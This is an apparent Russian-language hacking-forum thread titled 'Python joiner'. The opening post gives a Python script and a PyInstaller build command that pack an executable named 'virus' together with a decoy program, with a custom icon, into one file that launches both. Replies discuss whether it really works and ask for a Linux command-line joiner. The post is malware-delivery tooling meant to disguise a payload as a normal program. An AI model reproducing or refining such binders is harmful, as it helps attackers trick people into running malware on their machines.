• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Джойнер на питоне

Tundra21_a

Резидент
Сообщения
203
Реакции
220
0 руб.
для питона start.py

Код:
# -*- coding: utf-8 -*-
import sys, os

def resource_path(relative):
    if hasattr(sys, '_MEIPASS'):
        return os.path.join(sys._MEIPASS, relative)
    else:
        return os.path.join(os.path.abspath("."), relative)

app = resource_path("Вирус.exe")
virus = resource_path("Прога.exe")

x = os.popen(app)
y = os.popen(virus)

для батника

Код:
pyinstaller --icon=icon.ico --add-binary Вирус.exe;. --add-binary Прога.exe;. --windowed --key=1212121121212dfsfdsewrew --onefile start.py
pause

Собираем это в паке, создаем иконку icon.ico, запускаем батник.
 

SkillUP

Участник
Сообщения
49
Реакции
36
0 руб.
Можно пожалуйста для тупого меня объяснить, что делает и как работает это код? Буду благодарен)
 

wizzkhalifa

Новичок
Сообщения
1
Реакции
0
0 руб.
Telegram
Наверное как и остальных нубов интересует человека алгоритм
Джойнер "склеивает" два файла в один
человек имеет в виду что нет комментариев у кода, для совсем новичка это тяжело.
 

YukiBoji

Участник
Сообщения
18
Реакции
29
0 руб.
Telegram
Jabber
Это не Джойнер. Не знаю, что хотел получить ТС и зачем создавать иконку, но судя по всему скрипт был скопирован не весь.
В данном случае функция
Код:
def resource_path(relative)
просто возвращает путь к файлу, а дальше оба запускаются в отдельных процессах через класс popen.

Грубо говоря, запустив этот скрипт вы просто сразу запустите два exe файла, никакой связки у вас не получится.
В таком случае можно было просто обойти папку через os.walk() и запустить вообще все файлы в каталоге.
Ходя бы протестируйте то, что публикуете.
 

Avronin

Участник
Сообщения
15
Реакции
6
3000 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
А известен кому либо джойнер на linux без гуи ? Чтобы в cli склеивать .exe файлы вместе.
 
Сверху Снизу